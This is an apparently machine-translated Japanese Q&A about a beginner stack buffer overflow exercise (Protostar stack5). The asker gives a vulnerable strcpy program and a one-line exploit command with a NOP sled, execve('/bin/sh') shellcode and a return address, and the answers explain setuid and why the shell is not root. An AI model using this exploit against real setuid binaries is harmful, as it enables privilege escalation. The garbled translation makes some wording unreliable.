次のコードを活用しようとしています。
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv){
char buffer[100];
strcpy(buffer, argv[1]);
return 0;
}
次のコマンドを使用してください
./vuln $(python -c "import sys; sys.stdout.buffer.write(b'\x90'*60 + b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + b'\x40\xd6\xff\xff'*6)")
最初の部分はNOPで、2番目の部分は私が得たシェルコードです。このウェブサイトでなければなりませんexecve("/bin/sh")
。最後の部分は返品先住所です。私のプログラムは、すべての保護メカニズムが無効になっている32ビットシステム用にコンパイルされました。スクリプトを実行すると、次の結果が表示されます。
process 15377 is executing new program: /usr/bin/bash
bash
ルートではなく現在のユーザーとして実行することを意味します。シェルをrootとして実行するためのシェルコードはどこにありますか?これが起こらないようにするには、Linux機能を無効にする必要がありますか?
実行すると、whoami
ルートではなく現在のユーザーを取得します。これに「最初の攻撃!シェルコードバッファオーバーフロー – bin 0x0E”ビデオ同じスクリプトを使用してrootアクセス権を付与します。
答え1
スクリプトを実行すると、新しいプログラム /usr/bin/bash を実行するプロセス 15377 が表示されます。これは、bashがrootではなく現在のユーザーとして実行されていることを意味します。
はい、これは「ユーザー」のアイデアが機能する方法です。つまり、プログラムを実行すると、現在のユーザーとして実行されます。
1つは、setuid
実行可能ファイルにファイル属性を付与して、現在のユーザーの代わりに常にファイル所有者(おそらくroot)として実行できるようにすることです。論理的な理由から、すでにルートである場合にのみ、このビットをファイルに追加できます。いいえルートになる必要はありません。たとえば、bash 実行可能ファイルのコピーに setuid ビットを割り当てることで、いつでも権限を高めることができます。
これが起こらないようにするには、Linux機能を無効にする必要がありますか?
これは特定の機能ではなく、1970年代のUNIX以降の「ユーザー」の概念を文字通り意味しています。
id
その人の出力では、グループはルートですが、有効なグループはルートではないことがわかります。したがって、脆弱なファイルはすでにsetuid / setgidビットが設定された状態で実行されています!ファイルのプロパティ()を確認すると、どのビットが設定されているかをls -l /…/stack-five
確認できます。s
したがって、どのプロセスの権限も昇格できません。最初から存在していましたが、今はプロセスを悪用してそれを悪用することができます。
答え2
いいえ、直接ログインして操作を実行し、ルートシェル(昇格された権限)を取得することはできません。 (カーネルで脆弱性が見つからない限り)あなたは(理論的に)できる それがすることは、すでにrootとして実行されているプロセスを攻撃するだけです。だからあなたは可能vuln
プログラムを root で実行するか、root sudo
に切り替えて setUID ビットをオンにすると、root シェルを取得できます。これは不正行為のように見えるかもしれませんが、脆弱なシステムプログラムへの攻撃をシミュレートしています。
上の写真ではよく見えませんが、初めて使用します!シェルコードバッファオーバーフロー – bin 0x0E接続されたビデオですが動作する唯一の方法(結果を表示する唯一の方法)は、Marcus Müllerが言ったように、プログラムが /opt/protostar/bin/stack5
UIDをrootに設定することです。次のようなフレーズが見つかりました。
ただし、stack5バイナリはrootユーザーが所有し、setuidビットが設定されていますが、rootシェルではありません。
存在するエクスプロイト練習 – Protostar – Stack5 / 最初のエクスプロイト 音のない失敗の中で。
問題があります。ルートとしてシェルを実行すると、ルートシェルが提供されないことがあります。私はあなたにこれを研究するように招待し、励まします。 「スクリプトキディ」になりたくない場合は、資料を調べる方法を学ぶ必要があります。しかし、ここにあなたのためのナビゲーションパスがあります。 .it /bin/id
の代わりに直接実行されるように "シェルコード"を変更してみてください。/bin/sh
可能ルートシェルが取得できない場合でも、root 権限を取得したことを示します。